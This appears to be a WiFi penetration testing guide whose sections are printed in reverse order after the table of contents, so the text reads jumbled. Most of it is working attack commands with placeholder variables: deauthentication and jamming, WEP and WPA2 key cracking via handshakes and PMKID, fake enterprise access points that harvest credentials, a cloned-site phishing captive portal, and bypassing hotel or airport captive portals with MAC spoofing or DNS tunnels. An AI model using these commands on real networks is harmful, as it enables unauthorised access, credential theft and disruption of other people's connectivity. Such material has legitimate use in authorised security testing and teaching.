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WiFi Penetration Testing Guide

  1. Basic commands

  2. Open networks

    2.1. Captive portals

    2.2. Man in the Middle attack

  3. WEP cracking

    3.1. No clients

  4. WPA2-PSK cracking

    4.1. Cracking the 4-way-handshake

    4.2. PMKID attack

    4.3. AP-less attack

  5. WPA2-Enterprise

    5.1. Fake Access Points

    5.2. Brute force

    5.3. EAP methods supported

  6. Other attacks

    6.1. Krack Attack and Frag Attack

    6.2. OSINT

    6.3. Wifi Jamming

    6.4. Other frameworks

  7. Post-exploitation

    7.1. Attacking the router

    7.2. Types of scanners

    7.3. Spoofing

  • Ettercap - Check if you can do a MitM attack and sniff all the traffic in the network

7.3. Spoofing

  • Nmap/Zenmap - Security Scanner, Port Scanner, & Network Exploration Tool

  • Masscan - The faster version of nmap (it can break things, so be careful)

  • Netdiscover - ARP sniffing. Very useful if the networks are very well segmented

7.2. Types of scanners

  • Routersploit - Exploitation Framework for Embedded Devices - Test "use scanners/autopwn"

7.1. Attacking the router

Once you are connected to the network

7. Post-exploitation

Windows:

  • Sniffair

  • Wifi Pumpkin - Framework for Rogue WiFi Access Point Attack

  • Eaphammer - Framework for Fake Access Points

  • WEF - Framework for different types of attacks for WPA/WPA2 and WEP, automated hash cracking and more

Linux:

6.4. Other frameworks

sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC

An example to deauthenticate all the devices except a Fake Acess Point:

  • Wifijammer - This program can send deauthentication packets to both APs and clients.

6.3. Wifi Jamming

6.2. OSINT

These are two advanced attacks discovered by the great Mathy Vanhoef:

6.1. Krack Attack and Frag Attack

6. Other attacks

Find supported EAP methods

5.3 EAP methods supported

5.2 Brute force

sh hostapd_wpe_init.sh $AP_NAME $INTERFACE

Hostapd-wpe

sh freeradius_wpe_read.sh

When a client connects, read logs with:

sh freeradius_wpe_init.sh $AP_NAME $INTERFACE

Start the Access Point using:

Hostapd & Freeradius-wpe

git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack

cd WPA_Enterprise_Attack && sudo sh install.sh

In case you do not want to use the virtual machine, you can install everything using:

Local installation

Operating system
Platform
Credentials
Size
Link

Ubuntu 16.04.5

VMware

ricardojoserf:wifi

3.25 GB

MEGA

Kali 2019.1

VMware

root:wifi

4.99 GB

MEGA

Ubuntu 16.04.5

VirtualBox (OVA)

ricardojoserf:wifi

3.18 GB

MEGA

Kali 2019.1

VirtualBox (OVA)

root:wifi

5.56 GB

MEGA

Virtual machines download

5.1 Fake Access Points

5. WPA2-Enterprise

For that, you have to create a Fake Access Point using hostpad with a configuration file like this one, with any password but the same network name. Create the fake network, the client device will try to connect to it and you get the 4-way handshake as in the 4.1 section in this guide.

If you have access to a client device with the Wifi connection turned on but there is not a network around, you can still attack that network if the client devices has previously connected to it.

4.3. AP-less attack

hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force

  1. Crack it using Hashcat (option 16800)

The structure of each line is: PMKID * ROUTER MAC * STATION * ESSID (check at: https://www.rapidtables.com/convert/number/hex-to-ascii.html)

hcxpcaptool -z $HASH_FILE $PCAPNG_FILE

  1. Create $HASH_FILE

hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2

  • Capture PMKID

echo $MAC | sed 's/://g' > $FILTER_FILE

  • Create a text file ($FILTER_FILE) and add the MAC address without ":". You can use sed and redirect the output to a file:

3a. If you want to attack a specific MAC address

airmon-ng check kill

  1. Install Hcxdumptool and Hcxtool (you can use this script).

  2. Stop Network Manager

You can use this script or follow these steps:

4.2. PMKID attack

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

  1. Option 2: Crack the handshake using Pyrit

You can get wordlists from here.

aircrack-ng -w $WORDLIST capture.cap

  1. Option 1: Crack the handshake using Aircrack-ng

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

  1. Deauthenticate an user. Stop airodump capture when you see a message 'WPA handshake: $MAC'

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

  1. Start capture

4.1. Cracking the 4-way-handshake

4. WPA2-PSK cracking

aircrack-ng $PCAP_FILE

  1. Crack the password using Aircrack-ng

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

  1. Accelerate the IV capture using Fake authentication + Arp Request Replay Attack + Deauthenticate user. Stop Airodump at ~100.000 different IVs

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

  1. Start capture

3. WEP cracking

  1. ARP Spoofing attack using Ettercap

  2. Sniff the traffic using Wireshark or TCPdump

  3. Analyze the traffic using PCredz (Linux) or Network Miner (Windows)

Once you are in the network, you can test if it is vulnerable to Man in the Middle attacks.

2.2. Man in the Middle attack

ssh -D 8080 $USER@10.0.0.1

  1. Create the tunnel

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

  1. Check if it works correctly in here

  2. Execution in the client

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

  1. Execution in the server

  • One "A record": dns.$DOMAIN pointing to the $SERVER_IP (Example: dns.domain.com 139.59.172.117)

  • One "NS record": hack.$DOMAIN pointing to dns.$DOMAIN (Example: hack.domain.com dns.domain.com)

  1. Create 2 DNS records (in Digital ocean, Afraid.org...):

nslookup example.com

  1. Check the domain names are resolved:

A second method is creating a DNS tunnel. For this, it is necessary to have an accessible DNS server of your own. You can use this method to bypass the captive portal and get "free" Wifi in hotel, airports...

2.1.3. Bypass 2: DNS tunnelling

Also, you can use scripts to automate the process like:

  • macchanger

  • A custom script like this(Bash)

  1. Change your IP and MAC addresses. You can use:

  • nmap

  • A custom script like this (Bash) or this (Python)

  1. Scan the network and get the list of IP and MAC addresses. You can use:

The first method to bypass a captive portal is to change your MAC address to one of an already authenticated user

2.1.2. Bypass 1: MAC spoofing

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

  1. Clone a website using HTTrack

  2. Install Wifiphiser. Add the HTTrack result in a new folder in wifiphisher/data/phishing-pages/new_page/html and a configuration file in wifiphisher/data/phishing-pages/new_page/config.ini.

  3. Recompile the project using python setup.py install or the binary in bin.

  4. This command works correctly in the latest Kali release after installing hostapd:

2.1.1. Fake captive portals

2.1. Captive portals

2. Open networks

For the character set it is possible to use l (lowercase letters), u (uppercase letters), n (numbers), c (lowercase+uppercase), m (lowercase+uppercase+numbers) or a (all printed).

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

2.b. Or execute a bruteforce attack

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.a. Execute a dictionary attack

List the networks using Airodump-ng and get the AP's MAC address ($AP_MAC) and one from a client ($CLIENT_MAC). Do not stop the capture.

  1. List networks

Get hidden SSID without clients

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

In another terminal, deauthenticate a client or all of them. When Airodump-ng captures a handshake from this network, the name or ESSID will appear in the first terminal:

  1. Deauthenticate

List the networks using Airodump-ng and get the AP's MAC address ($AP_MAC) and one from a client ($CLIENT_MAC). Do not stop the capture.

  1. List networks

Get hidden SSID with clients

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

  1. An Access Point (= all the clients in the AP)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

  1. Only one client

Deauthentication

airodump-ng $IFACE -c $CHANNEL -e $ESSID

  1. Set monitor mode

  2. Run Airodump-ng-ng

List networks

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

Set monitor mode

ifconfig $IFACE

Check interface status

iwconfig $IFACE

Check interface mode

VARIABLE=value

Set environment variable

1. Basic commands

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